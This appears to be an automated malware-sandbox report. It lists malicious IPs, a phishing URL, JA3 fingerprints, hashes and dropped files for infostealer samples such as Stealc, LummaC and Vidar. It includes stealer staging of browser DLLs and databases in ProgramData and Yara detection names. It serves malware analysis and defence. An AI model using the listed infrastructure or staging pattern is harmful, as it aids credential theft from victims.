CLOUDFLARENETUS	SecuriteInfo.com.Program.Unwanted.5510.8307.25058.exe	Get hash	malicious	Unknown	Browse	104.18.10.89
	SecuriteInfo.com.Program.Unwanted.5510.8307.25058.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	SecuriteInfo.com.Trojan.Inject5.10837.16335.2292.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://load.aberegg-immobilien.ch/	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	BKoQ3DF8eD.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.170.64
	Rampage.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.170.64
	Verus.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.95.91
	Verus.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.95.91
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.95.91

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ZDW7Di1Ykf.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	v32oH5Xhqw.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	oNL2jSvLHj.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	3WffcqLN3q.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ZDW7Di1Ykf.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	v32oH5Xhqw.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	oNL2jSvLHj.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	3WffcqLN3q.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKKFHDAK

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFHJJJDAFBKEBGDGHCGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFBGIDA

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIECFBAAAFHIIDGCGCBF

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDHIIIIEHCFIECAKFHJDAFCBFC

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJDHDAECBGCAKEBAEBAAKKKFH

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJEGDBGDBFIJKECBAKFBFIDGCF

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJECGCBGDBKJJKEBFBFH

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: ZDW7Di1Ykf.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: v32oH5Xhqw.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: oNL2jSvLHj.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 3WffcqLN3q.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: ZDW7Di1Ykf.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: v32oH5Xhqw.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: oNL2jSvLHj.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 3WffcqLN3q.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DHMGC7TXSIK31JTC83MV8ND88A.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.947416099994073
Encrypted:	false
SSDEEP:	49152:8mRhmhK5ZSLue0v+HpxCBlwQhwegB589ooccs9GULcbHN1:JCKyvHpxC7BCLoULyt1
MD5:	3833A1B7C23D66EECEC6B16DDF5CF540
SHA1:	05182934E239A8E6715ADA16E0DDCDE3B7598E05
SHA-256:	96F09E8BD3F67C287A0BB1529D5220D9496A233FBA5B1608366A2C280A864DD2
SHA-512:	3C824F5AA05FF6BA2A1F9D805D2D1F755F1A8A5646D367C325D0A7B6B38D0DFEDD61E75F984FCC6686C27FD1A4C5147F874A9A468EF15AED589ED993D2033069
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...9$.g......................$...... i...........@..........................Pi......p....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...rhebxyzr.....pO......<..............@...gzayextq......i.....................@....taggant.0... i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.583726432717676
Encrypted:	false
SSDEEP:	12288:oqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgagT4:oqDEvCTbMWu7rQYlBQcBiT6rprG8a44
MD5:	EE970780C371D5BD42992B92132F5014
SHA1:	47331BE4BF096C62689DF219BEA9FF4E168B5C31
SHA-256:	F34BE318CE2ADF4BFC28A459A9DC6C468F72A8231AAA12845BEB68D58F0F5D80
SHA-512:	6E9F3C54184866B9E7179E7AB0BA0B29BF934AFC837401CC886D317A9E3A53B9DF5585A3F8183FEE71B8C8D3C60C10AADB6A0D4DA011F08CE39C203CE15AD9F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
